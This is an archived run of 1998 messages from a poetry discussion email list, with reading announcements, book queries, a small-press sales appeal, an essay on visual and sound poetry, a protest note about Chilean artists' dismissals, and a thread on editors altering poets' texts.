On tuesday, september 22nd at 6pm the Poetry Project in conjunction with the New York Foundation for the Arts will be hosting a free seminar on Artists' Fellowships. This year NYFA offers awards in Computer Arts, Crafts, Film, Non-fiction Literature, Performance Art/Mulitdisciplinary Forms, Poetry, Printmaking/Drawing/Artists' Books, and Sculpture. The information seminar will address questions about the application process and also inform artists about funding opportunities. For more information about the Fellowship seminar or to receive an application, please call NYFA at [redacted].

↑ Index

400. **Hank Lazer**
Re: Jargon books
Fri 18 Sep 1998

Oops. Apologies for sending my e-mail meant for Pierre Joris to the entire List....

Hank Lazer

↑ Index

401. **Linda Russo**
qry: "Language" spec. issues
Fri 18 Sep 1998

> does anyone recall a "language poetry" issue of the Paris Review, or am I
> mad? also, were there other academic/mainstream quarterlies/journals to put
> out their "language" special issue, or an issue on avant garde or
> experimental or innovative poetry more generally??
>
> backchannel please as I'm "no mail". thanks.
>

* * * *

Linda Russo
[redacted]

↑ Index

402. Charles Bernstein
Segue/NYC Saurday reading series (fwd)
Fri 18 Sep 1998

The Segue Foundation’s New York City reading series has moved. The series formerly held at Here (and for almost twenty years before that at the Ear Inn) has moved to a new bar called Double Happiness and will take place on Saturdays from 4:00 to 6:00 pm beginning October 3rd. Please take careful note of the new time. Readings will begin punctually. Double Happiness is located at 173 Mott Street, just south of Broome. a $4 contribution goes to the readers.

Segue @ Double Happiness
October & November Readings
Saturdays @ 4pm

Oct 3: Rob Fitterman, Liz Fodaski
for the season's kickoff at double happiness : a double happiness happening: Two of the series’ all-time most together coordinators: Rob Fitterman, eagerly awaiting the publication of Book 1 of Metropolis, 1-5, from Sun & Moon. Metropolis 16-20 has recently appeared (Edge Books). Also forthcoming is a collaboration with visual artist Dirk Rowntree entitled cedars estate. Rob is the editor/publisher of Object and p o e t s c o o p; Liz Fodaski, editor/publisher of Torque, which recently issued a collaboration with Object. Recent work has appeared in Big Allis and Lingo. Liz lives and teaches in New York.

Oct 10: Book Party
come celebrate the publication of Close Listening: Poetry and the Performed Word, a collection of original essays edited by Charles Bernstein, from Oxford University Press. There will be talk, discussion, and performance with Johanna Drucker, Bob Perelman, Nick Piombino, Bruce Andrews, Charles Bernstein.

Oct 17: Jena Osman, James Sherry
Jena Osman, a visiting assistant professor of English and Creative Writing at Ursinus College, co-edits Chain with Juliana Spahr. Her poem "The Periodic Table as Assembled by Dr. Zhivago, Oculist" was recently published in French translation (Format Américain) and is currently being turned into a CD-ROM by Geoffrey Wilson. James Sherry is the author of 10 books of poetry and criticism, most recently Our Nuclear Heritage (Sun & Moon) and Four For (Meow Press). He is the editor/publisher of Roof Books and president of the Segue Foundation.

Oct 24: Douglass Rothschild, Stephen Rodefer
DglssN.Rthscjhld--Loud mouthed, gerrymandering snob to the masses, Mr. Rthscjhld burst onto the scene with his bad spelling and splender blasted poems in the first . . . (Please feel free to fill in the Biographical Information which will make you most likely to attend this reading.) Some hits among Stephen

Rodefer's many great works include Villon, Four Lectures, France and England, and most recently Erasers. His fine teaching and fine living are an international source of inspiration.

Oct 31: Halloween Gala Reading
Emerged as well as up and coming writers associated with City College's Creative Writing Program. Joe Eliot, Dan Machlin, Carla Massey, Carrie Tocci, Justine Fitzgerald, &&&.

Nov 7 @ 2pm: Bob Harrison, Joe Amato
N.B.: Due to the Hannha Weiner 70th birthday event later the same day (at 4pm at the Poetry Project), this reading will begin at 2:00 PM. Please be prompt! Bob Harrison lives and works in Milwaukee, WI. His chapbooks include Odor Ring Inversions of Semi-Aquatic Salamanders, Split Poems, and Broken English (Meow Press). New work is forthcoming in Big Allis. He is editor, with Andrew Levy, of Crayon. Joe Amato is the author of Symptoms of a Finer Age (Viet Nam Generation), and, situated somewhere between the world of print and cyberspace, Bookend--Anatomies of a Virtual Self (SUNY Press, 1997). He teaches at the Illinois Institute of Technology in Chicago.

Nov 14: Rae Armantrout, Marjorie Welish
Rae Armantrout has published six books of poems, including Necromance (Sun & Moon), Made to Seem (Sun & Moon), and writing the plot about sets (a Chax chapbook). True has just come out from Atelos, and The Pretext is forthcoming next year. Armantrout teaches writing at U.C. San Diego. Marjorie Welish’s latest chapbook is forthcoming in the spring from Paradigm Press. She has been awarded a Howard Foundation Fellowship for 1998-99.

Nov 21: Sam Lipsyte, Marianne Shaneen
Sam Lipsyte’s fiction has appeared in The Quarterly, Open City, Nerve, and Aedon. He is senior editor of Feed. Marianne Shaneen is a poet/fiction writer/performer. Recent work is forthcoming in Crayon.

Nov 28: Thanksgiving Weekend--No Reading

Dec 5: John Ashbery, Peter Gizzi
John Ashbery’s 1976 Self-Portrait in a Convex Mirror won the Pulitzer Prize, the National Book Critics Circle Award, and the National Book Award. His most recent books include Wakefulness, Can You Hear, Bird, And the Stars Were Shining, and Hotel Lautréamont. Peter Gizzi’s newest book is Artificial Heart (Burning Deck, 1998). He is also the author of Hours of the Book (Zasterle, 1994), Music for Films (Paradigm, 1992), and Periplum (Avec, 1992).

Dec 12: Eleni Sikelianos, Jessica Grim, Norma Cole
Eleni Sikelianos’ most recent book is The Book of Tendons. The Blue Coat and The Lover’s Numbers are forthcoming. She is the recipient of a National

Endowment for the Arts Fellowship and Gertrude Stein Awards for Innovative American Writing, and currently co-edits The Poetry Project Newsletter. Jessica Grim's books of poetry include Fray (1998), Locale (1995), and The Inveterate Life (1990). She co-edited Big Allis from 1989-1997. She lives in Oberlin, Ohio where she is a reference librarian and occasional instructor in creative writing. Norma Cole's writing, considered "a work of great invention and celebration," "ruptured, turbulent," has been translated into French, Italian, Japanese, Portuguese, and Spanish. Her most recent books are Moira, Contrafact, and Desire & Its Double. She lives in San Francisco.

Dec 19: Brenda Coultas, Shawn Killian
Brenda Coultas is currently co-editor of The Poetry Project Newsletter. Her work has appeared in The World and Sycamore Review, and she played a mirror in the East Village film Temporary America. Shawn Killian has a new Talisman House chapbook forthcoming (Fall, 1998) entitled Feint by Feint. He lives in Catskill, New York and Manhattan.

Dec 26 & Jan 2: Holiday Weekends -- No Readings

Jan 9: Anselm Berrigan, Jordan Davis
Anselm Berrigan was born in Chicago, IL. He was educated at P.S. 19 on 11th Street. He is the author of Integrity and Dramatic Life. Right now he has $1.50 in his wallet. Jordan Davis was born at Mt. Sinai. His poems include "A Little Gold Book" and "Poem on a Train." With Anna Malmude he hosts Poetry City.

Jan 16: Andrew Joron, Craig Watson
Andrew Joron is the author of The Removes (Hard Press, 1998) and Science Fiction (Pantograph Press, 1992). He is also the translator of the German philosopher Ernst Bloch's Literary Essays (Stanford University Press, 1998). He resides in Berkeley, CA, where he works as an academic proofreader. Craig Watson is the author of eight published books including: After Calculus, Picture of the Picture of the Image in the Glass, and, most recently from Zasterle Press, Reason. Hard Press will publish Free Will in 1999. He lives in Rhode Island.

Jan 23: Jackson Mac Low, Kevin Davies
Jackson Mac Low has been getting his Poetry Reading Poems into the computer and magazines (e.g. Lingo) and writing an extensive series of poems interacting with works of Gertrude Stein. His Two Plays: The Marrying Maiden and Verdurous Sanguinaria is forthcoming this winter from Sun & Moon. Kevin Davies lives in Brooklyn. His book, Pause Button, was published by Vancouver's Tsunami Editions in 1992. A new collection is forthcoming from Aerial/Edge Press.

Jan 30: Katy Lederer, John High
Katy Lederer is the editor of Explosive Magazine. Her work appears currently in Proliferation, Arshile, and The Harvard Review. Essays and reviews have

appeared in The Chicago Review and the St. Mark's Poetry Project Newsletter. John High is the author of Ceremonies, Sometimes Survival, and the lives of thomas: episodes and prayers. The Sasha Poems (A Book of Fables), written to his daughter, was just published by Ex Nihilo Press, which will also publish his Book of Mistranslations in 1998. He is a translator of Russian poetry and the founder and former editor of Five Fingers Review.

Please support our new series and join us for our grand opening reading on October 3! Readings will begin promptly at 4. Doors will open at 3:30 for those who want to start drinking and schmoozing early. Coordinators for this series are Chet Wiener, Stacy Doris, Liz Fodaski, Andrew Levy, & Charles Borkhuis. Continuing support of this series is provided by the Segue Foundation. Funding is made possible by support from the Literature Program of the New York State Council on the Arts.

↑ Index

403. Stephen Cope
Re: Looking for a Teachable Text
Fri 18 Sep 1998

Mark et al,

The best theory/criticism anthology that I've seen is Davis Richter's THE CRITICAL TRADITION, which starts with Plato and runs right up to the near present (all in an easy 1500 pages). He provides failry concise overviews, and then often substantial excperts from the theorists he includes. Of course, it's very canonical (as is to be expected from any such book), but that's only to say that it provides a fairly solid introduction to the major trends in Western Lit. Crit. Structuralism and Poststructuralism are divided into two chapters (15 theorists), and offer a decent account of semiotics, deconstrcution, etc...

Stephen Cope

↑ Index

404. William Marsh
Re: Essay: Digital Langu(im)age--language and image as objects in a field
Fri 18 Sep 1998

---

jim

got the first essay -- way cool and will study further -- but the second returned a "no here" message -- been moved?

bill

At 06:42 PM 9/8/98 -0700, you wrote:
>At Web del Sol's Perihelion site is my newly published essay "Digital
>Langu(im)age--language and image as objects in a field"
>(http://webdelsol.com/Perihelion/jimarticle.htm)
>
>and "Political Dimensions of Langu(im)age"
>(http://www.webdelsol.com/bbs/arts/arts.cgi?read=37), which is really a
>part of the essay, but was too late for the editor's deadline.
>
>Regards,
>Jim Andrews
>
>--
>V I S P O ~ L A N G U (I M) A G E
>http://www.speakeasy.org/~jandrews
>
>

- -
William Marsh | PaperBrainPress
http://bmarsh.dtai.com
- -

↑ Index

405. **Jim Andrews**

Re Re: Digital Langu(im)age--language and image as objects in a field

Sat 19 Sep 1998

> *jim*
>
> *got the first essay -- way cool and will study further -- but the second returned a "no here" message -- been moved?*
>
> *bill*

The second part of the essay (Political Dimensions of Langu(im)age) is now a part of the text of the main essay (Digital Langu(im)age--language and image as objects in a field), at http://www.webdelsol.com/Perihelion/jimarticle.htm, so I deleted the posting to the message board of webdelsol of Political Dimensions.

I finished writing The Political Dimensions after the Perihelion deadline had passed and the first part was already published. Jennifer Ley, the editor of Perihelion, had to take some time to read and incorporate the new material into the essay. Which she did. To her credit. If it were the print world, I'd a simply been

out of luck. I had to argue hard for this late inclusion. But I think it's one of the more important parts of the essay. It is the second to last section.

I wrote it as soon as I understood it. Uruguay's Clemente Padin helped me understand it...

Regards,
Jim Andrews

↑ Index

406. Jim Andrews
Attack against artists
Sat 19 Sep 1998

Dear Christina,

I have posted at http://www.speakeasy.org/~jandrews/vispo/clement.html a Web version of the message Clemente Padin, Irving Weiss, and Viktor Todorovic sent concerning the dismissals of the Chileans for their involvement in the Mail Art show you seem to mention below. I think that there are probably a lot of people who would like to support the call for protest Clemente articulated, but who feel that details concerning the art exhibited in Santiago, Chile, and the events surrounding the dismissals have not been provided.

In part, Clemente says:

"In response to the systematic and offensive political persecution and intolerance that for years have been going on at the University of Chile's Fine Art School (actions promoted and spurred by reactionary, totalitarian and pro-Pinochet sectors) on March 98, the Mail Art Exhibit "Stop: liberty, diversity and pluralism" was held at Santiago's Museum of Contemporary Art, in defense against constant attacks by sectors in power. As a result, Humberto Nilo, the Director of the U. of Chile's Fine Art School and organizer of the event, was dismissed from his position along with the Museum's Director and the Curator of the exhibit: Mrs. Rosario Letelier and Mr. Ernesto Munioz."

I have emailed Humberto Nilo for more information, but received no response. Can you provide more information? Are there works on the Web from the show that people can view? What was the reception of the show otherwise? What triggered these events? I need more information.

Can you send digital images of some of the art to me so I can post it on my Web site, and others can too?

It seems to me an important thing for the people on the poetics listserver, very important.

Regards,
Jim Andrews

I emailed

> *Date: Thu, 17 Sep 1998 09:08:21 -0500*
> *From: Christina Fairbank Chirot <[redacted]>*
> *Subject: Attack to artists (fwd)*
>
> *Re the recent notes on events in Latin America and the Exhibition which Hans Braumuller is organizing--the following is of great importance--*
> *=09I participated in the STOP exhibtion mentioned below--it was held in the Museum of Modern Art--Clemente Padin sent me some photos of works of his and mine and others--it was a major event--a large participation--we had a great deal to thank Humberto for --it is very disturbing to hear this news of his and others' firing for mounting this show--I hope as many of as possible write to the addresses below--*
> *=09remember the attack on artists can come soon to your town--if not already!*
> *=09por la escritura en libertad!*
> *=09for writing in freedom!*
> *--dave baptiste chirot*

↑ Index

407. Charles Bernstein
Beyond the Sun & Moon Sale
Sat 19 Sep 1998

I've just had the great pleasure of receiving Sun & Moon Press's two most recent books: Joan Retallack's How to Do Things with Words and Myung Mi Kim's Dura, both of which I have been eagerly awaiting. I keep thinking there must be some magic to Douglas Messerli's publishing: how can he do so many books? But I also know that there is no magic, and that Sun & Moon lives within the same dire poetry publishing economy that many of us on this list are all too familiar. While at crucial points in its history, Sun & Moon did benefit from NEA and foundation grants, that time seems more and more remote. And a press like this, without the kind independent resources that have sustained some other literary publishers of a comparable scale to Sun & Moon, is dependent on sales for its survival.

So when Sun & Moon sent those lists of $4 poetry books last week, it seemed to me that buying multiple copies of those books might be the ideal way to support Sun & Moon, to ensure that it is able to keep publishing books like the ones on the lists. While Sun & Moon is actually and officially a nonprofit organization, fund raising by the press has been negligible. But the sale, it seems to me, offers a great way of making a contribution to Sun & Moon -- and, in the bargain,

getting books for oneself and also books to give to friends. It's a little like what Peter Pan says about Tinkerbell: if we want a press like Sun & Moon to survive, we all have to sprinkle a little fairy dust now, in the form of bulk buying of those $4 books. That may be the only kind of magic that works -- the kind that comes from readers who want these books and want more of them.

For those who want to take another look at the list of books available, check out the Poetics List archive for this month under messages from Douglas (http://listserv.acsu.buffalo.edu/archives/poetics.html) or write to Douglas Messerli direct (at [redacted]) and I am sure he will return your request with a copy of the list. (The Sun & Moon website it at http://www.sunmoon.com)

Charles Bernstein

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408. **charles alexander**
Re: Looking for a Teachable Text
Sat 19 Sep 1998

Stephen,

I just checked, and Amazon lists THE CRITICAL TRADITION, 1989 edition, as out-of-print, and the revised second edition (1997) as only available in hard covers, for $63.98 -- probably not a good price for students, nor for me. Do you have any other information about this, as I have known Amazon to be wrong about out-of-print books before, but usually when they are small press publications.

charles

At 04:53 PM 9/18/98 -0700, you wrote:
>Mark et al,
>
>The best theory/criticism anthology that I've seen is Davis Richter's THE
>CRITICAL TRADITION, which starts with Plato and runs right up to the near
>present (all in an easy 1500 pages). He provides failry concise overviews,
>and then often substantial excperts from the theorists he includes. Of
>course, it's very canonical (as is to be expected from any such book), but
>that's only to say that it provides a fairly solid introduction to the
>major trends in Western Lit. Crit. Structuralism and Poststructuralism are
>divided into two chapters (15 theorists), and offer a decent account of
>semiotics, deconstrcution, etc...
>
>Stephen Cope
>

>
chax press : alexander writing/design/publishing
[redacted]
http://alexwritdespub.com/chax
[redacted] (phone) [redacted] (fax)

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409. Michael Kelleher
query
Sat 19 Sep 1998

Steve Tills, are you still out there? Or, does anyone have his e-mail. Backchannel, por favor.

Mike

↑ Index

410. Carl Lynden Peters
Re: Textual abuse
Sat 19 Sep 1998

> *Long time ago I heard the story that when Olson found a typo in his printed text he enjoyed it & saw it as a leap into another possible poem.*

i guess when that works it works. some typos are just typos and it's hard to find the trope. and some ideas are better than others.

Ron, your notion of dis-owning the poem when this happens gives me some comfort. i think you are right, those poems of mine that were published without any consultation or dialogue are not mine.

c.

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411. Chris McCreary
5 Corners reading/Philadelphia
Sat 19 Sep 1998

The 5 Corners Poetry Series is pleased to announce its first reading for the Fall 1998 season
(Please note the NEW DAY and TIME):

SATURDAY, September 26th
7 p.m.

Pattie McCarthy

&

Heather Fuller

at GEORGE'S 5th Street Cafe (Corner of 5th and Gaskill Streets, between Lombard and South Streets, Center City Philadelphia)

Pattie McCarthy's chapbook OCTAVES was recently published by ixnay press (1998); another chapbook CHORAGUS is forthcoming from Potes & Poets (Spring 1999); she also has poems forthcoming in COMBO (issue #2) and ixnay. She is one of the editors of the Philadelphia-based forthcoming magazine P H, and co- founder of BeautifulSwimmer Press. She currently teaches at Drexel University and splits time between Philadelphia and New York.

Heather Fuller is the author of the poetry collection PERHAPS THIS IS A RESCUE FANTASY (Aeriel/Edge 1997) and the forthcoming collection C RATION DOG & PONY (Like Books 1998). Her play MADONNA FATIGUE is forthcoming from Meow Press (1998), as is her chapbook BEGGAR (Situations 1998). She received her MA from George Mason University and is currently the literary editor of The Washington Review. She has worked with anti-poverty groups in Washington DC for the past 7 years. She also teaches writing and drama at a center for homeless people living with HIV.

In addition to the readings, we will be having a book sale, featuring work by the poets reading, as well as other small press issue from the Philadelphia area. If you have chapbooks or other small press items to sell, please bring them to the readings.

For information, directions, or to join the 5 Corners emailing list, please email [redacted].

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412. Lawrence Upton.

Sales pitch

Sat 19 Sep 1998

Apologies for cross-posting * Writers Forum announces its seven hundred and fiftieth publication. It is WORD SCORE UTTERANCE CHOREOGRAPHY co-edited by Bob Cobbing and Lawrence Upton. 156 pages featuring 42 poets ISBN 0 86162 750 4 Price L6.50 plus postage. Preface by Bob Cobbing + "Word Score Utterance Choreography" by Lawrence Upton and "A thing or two upon the page" by Robert Sheppard + selected book list. The printer has undertaken to get it done in time for a launch on 24th October. Payments to New River Project, 89a Petherton Road, London N5 8QT. Payments in sterling please. NB We are hoping to organise a better way for people to be able to order it Below is the text of Upton's piece, stripped of its formatting to ensure everyone can

read it. * * * * * * * * * * WORD SCORE UTTERANCE CHOREOGRAPHY What is a poem? Don't answer that. What isn't a poem? Read on. I assume that there was utterance before writing. I assume that some, at least, of that utterance was pleasurable - pleasurable for the utterer or the auditor or both... There are birds singing in my garden - a thrush on a stout high branch is stringing complexities of notes in what seems to me joy. Joy in birds may be different to joy in humans, though I doubt it, but I am sure that it is there in birds, that birdsong and the utterance of other creatures often goes beyond mere assertion. Surely the same use of voice has always been with Homo Sapiens even if I am wrong about the rest of the creatures. To say that an act of utterance is, perhaps firstly, pleasurable is not to deny that it is communication as well... The instigation and communication of pleasure is a primary act; if we all spent more time making pleasure, if only for ourselves, we might undermine each other and ourselves less. And then we had writing, scripts of one sort or another. Is script a notational system for utterance? I think that often it is not, because it is inadequate for the purpose; but it may give an indication of what the utterance may be. However, the performance, if it is to follow the script, requires intelligent informed reading. What we can say of any script is that it is other than the utterance referring to it. A script is partly a hyper-utterance system. With a script, we can, to some extent, escape death: Ovid, dead 2000 years, speaks to me often though the signal to noise ratio is poor; and, of course, I cannot speak back. With a script we may begin to simulate our presence with another. We may read what others we have never met have written. But scripts, as I have said, are limited. Timbre is lost. Accent is problematic. Tone and intention may only be indicated by elaborate and unwieldy means. Over time, pronunciation and stress change and words' meanings are modified. Body language is lost. So much of our received and transmitted information is non-verbal and/or visual, should we not make use of non-verbal and visual material in our poetry? Why not modify and extend the written language / script / notational system? And, at the same time, why not perform similar operations upon our concept of what constitutes the spoken language? Let us recognise the importance of what we say which does not use recognisable words, grunts, sighs and so on, gestures and less easily perceivable signals. A film camera extends it and we are happy, and the wiser for it. Our language, English, Spanish, French or whatever it is, is only part of our total potential utterance. As we extend our concept of language to include all the possibilities of our utterance, let's allow pictures. Illustrations if you like, but, better than that, perhaps the texts can be bade to tell their own pictures. Evocatively and pictographically. Prompts. Doodles. Cartoons. Some visual poets work in that area, extending meaning and the means of meaning, but limiting the performed utterance to the process of reading. There is much fine work of that sort. Emboldening, italicising and underlining are widely acknowledged to have significance in linear texts though many poets eschew it. I

wonder why? Musicians make their lives easier by writing instructions on scores, extending the notational system. Why shouldn't poets? Can that basic formatting not be expanded? Larger type, louder voice? What about type at an angle to the vertical? What is the difference between the hand-written text and the printed or typed text? What difference does a deliberate smudge make to a text? What might be done with variations in the grey scale? What might be done with variations in the grey scale! The text... does the text have to be a text? I read that in Mecca the sky line seen from certain angles writes There is no God but Allah and Mohamed is his prophet. I hope that's true. The text could be the room around you. The text might include other performers. The text could be your own body. Alphabet soup anyone? About 100 years ago, Picasso and Braque saw this from another similar angle and put words into their fields of vision. Why should not poetry contain painterly material? If poetry can be set to music, then music can be held (as you hold someone you love rather than as you hold a prisoner) in a poem, and be, in certain cases, inseparable from it. Hypertext demonstrates the viability of this idea; but this work, whatever it is, and among other things it is visual poetry, has been available to us as a possibility all the time; and here is a whole book of it. A hole book, because some of the work it contains is only partly in the book; the rest of such works remains potential, in the book, and must be performed beyond the book to be realised, made kinetic. Not all the poets in this book would agree with what I am saying. There's glory for you. I see no reason to be limited to words alone in poetry any more than we should limit ourselves to particular pronunciations of words. It depends what kind of communication you want. It depends to what degree you want to tell the linguistic sea not to flow... Our utterance of texts from the past is to a greater or lesser extent guess work because we can no longer hear the original utterance; we only have some marks on pages and walls and our deductive ingenuity. In translation, we may compromise much of the sound / music for the sense and vice versa. I do not want to make non-verbal expression mandatory for poets, merely to extend the permission for such use to take place. A fellow poet who had witnessed a performance in which I participated remarked that he had at various times made all the sounds I had made; but only, as he put it, in the bedroom; and, he went on, it had not occurred to him, nor did he feel ready, to make such sounds before an audience. I took this as praise and as an encouragement to persist. Our repertoire of non-verbal sounds is extremely interesting. Analysis of it would, I am sure, support the belief that pain and pleasure, and love and hatred, have close kinship. I do not think that there is an equivalence between any set of marks and any set of sounds except one that we impose. Little is further from my desire than to propose a crude synaesthetic system. The audible utterance and the visible mark / gesture are signs of our responses and signs to which we may respond, no more. Performance of the same text may vary quite widely from day to day and performer to

performer. To some this might be seen as a weakness or failure, but I welcome it. Let us give poetry, from those who wish to, physicality and the frailties and/or variety of physicality. The variation between performances of visual texts is likely to be far wider than one would expect of a linear text... I mean of course a verbal text. Or do I mean a lexical text. What is the distinction? A microphone will capture it all whether or not the utterances are in the lexicon; and we have far less trouble with new (to us) non-dictionary exclamations than we do with words the dictionary knows and we do not. In going beyond the dictionary and widely accepted conventional forms, we go nearer to some extent to communication, being able to ignore the Babel obstacles. It depends what manner of communication you wish to effect. I could bog you down with definitions and precise terminology here; instead I am underlining words on which I might be terminologically attacked, and some words on which an attack is long overdue, and leave you to read the dictionary when you have time! With visual poetry you don't have to start at the top left hand corner of a page and work down towards the bottom right hand corner. You just start, not anywhere, somewhere. It's like not having to stay on the pavement. It's like being where you want be when you want to be - though as a maker you will soon find that the visual poem inflicts its own constraints; you do not have freedom. But you can walk through old walls and sometimes hear and see the sounds rising from the page and hear what is marked there without it being performed. Visual poetry encourages us to be calligraphic with our voices and bodies, and somewhat musical with what we see, making the performance at once more abstract and more concrete than a performance based on linear lexical text. Much of what is going on here may not be writing as that is often understood. It is not painting or drawing, but it is near them. And so with music. And so with much else. It may be writing. If we don't have its name yet, so much the better. No one has dominion over it; it has no nationality; but it is international; In the beginning was the word for a continuation is an utterance; it is that it is What is a poem Each editor brought a notional list of poets to the making of this book. Perhaps it was a list of prejudices though I would prefer to think of it as a list of hypotheses. I was pleased at how easy it was to agree to a list in common. Subsequently there were additions to that list; but always our intention was to make available to users of this book another insight. This book is not intended to define a school nor to provide you with a list of the best or most significant poets. It may do one or even both, but that would be a complete accident. There are no real bests, only lists of them; and significance can be a beam in the eye. In this book is a selection of poets chosen to give a sense of the variety of approaches that is possible. We had very limited space and could not include all that we enjoy. Faced with the question, put to us sometimes by audiences and generated by our own deliberations, What is the relationship between the marks on the page and the sounds one makes when reading the page, here, in this book, is an answer, a set of

answers, providing the beginnings of an answer. Use this book to increase your understanding of this kind of work and then, if you wish, build your own pantheon. If this book introduces you to poets, then so much the better, because many included here are too little known in this country... (Personally, beyond the aims stated, I am most unhappy that we have been unable to locate the Swedish poet Bengt-Emil Johnson for whose work on the page and in the ear I have the greatest respect. He has contributed immensely to the extension and enrichment of poetry and I regret that it has not been possible to demonstrate that here..) A potential bibliography is huge. We offer instead a handful of references, believing that they are sufficient to whet your appetite and start you searching out your own sources of information. It is the editors hope that you will pay attention to what it is the makers themselves say they are doing, rather than relying on what others say, including us. Try to hear recordings and see performances. Experiment with the techniques yourself because by doing so you will appreciate the richness and complexity they can generate.

Lawrence Upton
(c) Lawrence Upton, 1998

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413. Mark Weiss
Re: Textual abuse
Sat 19 Sep 1998

I think a little on line symposium on editorial practice might be a good idea, and I'll kick it off. But first, a story:

In the early 70s, when I was editing Broadway Boogie, I made it a practice to send xeroxes of the photocopy to the writers for them to sign off on before going to press. After I received them back I printed an edition (I think it was number 2) and sent the contributors their copies, upon which I received a frantic phone call from one of them, insisting that I scrap the entire press run: he had found a typo. It seems that I had mistakenly typed one letter for another, fortuitously or not changing one of his words for another that fit plausibly into the poem. I apologized and reminded him that he had signed off on the copy. The best I could do would be to slip in an errata sheet. But frankly, I told him, you might want to consider my mistake--although I would never on purpose change your work without your consent, I think it improves the poem. He wasn't mollified, and he steamed off to his friends all around NY. All of them looked at it and said, without exception, you know, this improves the poem. He was chagrined, but kept the error, and when the poem saw print again in a book it was still there.

This is not an add for mistakes. I've made more than enough that I won't allude to even obliquely.

Here's the way I work. I'm real impatient with primadonnas. Anyone who sends me a manuscript is forewarned that I'm a very active editor. If I want a book I accept it as is, but that doesn't stop me from respectfully making the best case I can for what I hope will make it better. This follows from my assumption that the poem once on the page is no longer a part of the poet's psyche but an object to be shaped. Thus far all of Junction's books have been in this sense collaborative, and poets who weren't at first fond of having me comment insistently on their work have by and large incorporated my suggestions or noted the problem I had spotted and have provided a better solution. And they have all been pleased with the outcome. In no case, by the by, am I taking credit for the work--it has to be damned good in my estimation for me to accept it as is in the first place, and my tinkering is just that. And I think I learn at least as much from the process as the poets do. It's the reason I do the press to begin with--this, and the exercise of the craft of bookmaking, are what's in it for me.

Often poets present a larger book than I can print or than the work merits--very few of us produce 150 good pages of our best verse every two or three years, and many poets, myself included, winnow the work exceedingly slowly if they get no input. I of course enforce page limits were necessary, but some poets have insisted that I take an active part in determining the final content of the book and the order of poems as well.

As a courtesy to the poets I share text and cover design and jacket copy with them. But this is my area as publisher. I take these things very seriously, but I'm also very aware that they are first and foremost a form of advertizing.

I started out concerned that this process might cost me some friendships. Instead, it's strengthened existing friendships and created some strong new ones. In fact, the dialogue with the author usually becomes a very intimate exchange.

At 12:40 PM 9/19/98 -0700, you wrote:
>> Long time ago I heard the story that when Olson found a typo in his printed
>> text he enjoyed it & saw it as a leap into another possible poem.
>
>i guess when that works it works. some typos are just typos and it's hard
>to find the trope. and some ideas are better than others.
>
>Ron, your notion of dis-owning the poem when this happens gives me some
>comfort. i think you are right, those poems of mine that were published
>without any consultation or dialogue are not mine.
>
>c.

>
>

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414. Stephen Cope
Re: Textual abuse
Sat 19 Sep 1998

On textual editing: I was just last night re-reading Oppen's "Discrete Series," and it had never been as apparent to me what a disservice is done the poems by ND's refusal to give the poems each their own page (Oppen's thwearted wish). I'm actually dealing with this question, to some degree, in the Oppen material I'm currently editing, where one of the more troubling issues has been the extent to which each page is integral as a unit in and of itself. All previous selections from Oppen's "working papers" (all of which I've found extraordinary, and would be hesitant in critiquing), have presented fragmented, aphoristic excpets from the material which often appear radically different in the genetic documents. What is lost in such an approach is the process of composition (which is the process of thought itself), a process often much more disjunctive, much less condensed, than it might appear from the earlier selections. Also lost is a certain symbolic quality - i.e. the semantics of visual/material appearance (some non-literary researchers have actually studied Oppen's archive, his handwriting in particular, for clues about Alzheimer's...)

Anyway, this just to continue the symposium (as it were). To add to the Olson story: Nate Mackey is rumoured to have changed "snapping our fingers" to "snapping out fingers" in 'Alphabet of Ahht' after a mis-type (his own, however, not a typesetter's or printer's).

Stephen

> *Both SUNY Buffalo and the Archive for New Poetry at UCSD have a copy of an early (1967 or 68) book of mine that was published by Jim Orsino-Sorcic at Gunrunner Press in Milwaukee. Jim was real young and new to the small press scene (as was I) when he did the book and he re-did linebreaks to make it fit his format. I felt totally violated at the time and still feel today as if I were the subject of an unwilling collaboration. Must have been how Rexroth felt at Zukofsky's reworking of his poem in the Objectivist Anthology.*
>
> *I've left that work off of my biblio (as you will note on the site at EPC) and have never considered it _my_ work. I've made a point of notating both extant copies in those archives and I don't have a copy of the book myself.*
>
> *And I've been much more careful after that.*

I do think that small press people are generally (not entirely) more careful than those in the larger presses where the flow of responsibility gets more distributed and less personally felt. But there's not much you can do about it, ultimately, beyond letting other people know which presses do that.

Ron
[redacted]

Date: Wed, 16 Sep 1998 21:14:08 -0700
Reply-To: UB Poetics discussion group
<[redacted]>
From: Carl Lynden Peters <[redacted]>
Subject: the death of the small press
To: [redacted]

i am interested in hearing from poets who have had their works published by small presses (or other) and how they deal with publishers/presses that quite literally re-write the work WITHOUT consulting with you th poet first. i am sad to say i have had this experience only recently. perhaps my intentions weren't clear. but i always thot (i took it for granted) that before you are published publishers talk to you, consult with you on whatever revisions or whatever. in one instance i stated: "i do not want you to publish this essay." (yes, i had to turn a press down! i just didn't think the essay was worth it in the end), but they went ahead and printed my work. i feel awful. like i've just been walked on.

but maybe my experience is the exception. i have had one very good experience with a press. they sent me a copy of what they wanted to do with my work, and it was better than my original intention. but they sent me detailed notes and a proto-type of sorts so that i cld see it before hand. so i am happy that there is this press out there. with an ethics . . . that puts the work first.

carl

> _____
> *Get Your Private, Free Email at http://www.hotmail.com*

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415. **Stephen Cope**
Re: Looking for a Teachable Text
Sat 19 Sep 1998

Charles,

I didn't know that there was a new edition, but this would make sense. The old edition was itself only available in hard cover, and might still be found used through university bookstores for a bit cheaper. But yes, the cost is a bit prohibitive nonetheless (used goes for $45 or so, I believe).

Anyway, for _content_ it works...

Stephen

> *Stephen,*
>
> *I just checked, and Amazon lists THE CRITICAL TRADITION, 1989 edition, as out-of-print, and the revised second edition (1997) as only available in hard covers, for $63.98 -- probably not a good price for students, nor for me. Do you have any other information about this, as I have known Amazon to be wrong about out-of-print books before, but usually when they are small press publications.*
>
> *charles*
>
> *At 04:53 PM 9/18/98 -0700, you wrote:*
> *Mark et al,*
>
> *The best theory/criticism anthology that I've seen is Davis Richter's THE CRITICAL TRADITION, which starts with Plato and runs right up to the near present (all in an easy 1500 pages). He provides failry concise overviews, and then often substantial excperts from the theorists he includes. Of course, it's very canonical (as is to be expected from any such book), but that's only to say that it provides a fairly solid introduction to the major trends in Western Lit. Crit. Structuralism and Poststructuralism are divided into two chapters (15 theorists), and offer a decent account of semiotics, deconstrcution, etc...*
>
> *Stephen Cope*
>
> *chax press : alexander writing/design/publishing*
> [redacted]

> *http://alexwritdespub.com/chax*
> [redacted] *(phone)* [redacted] *(fax)*

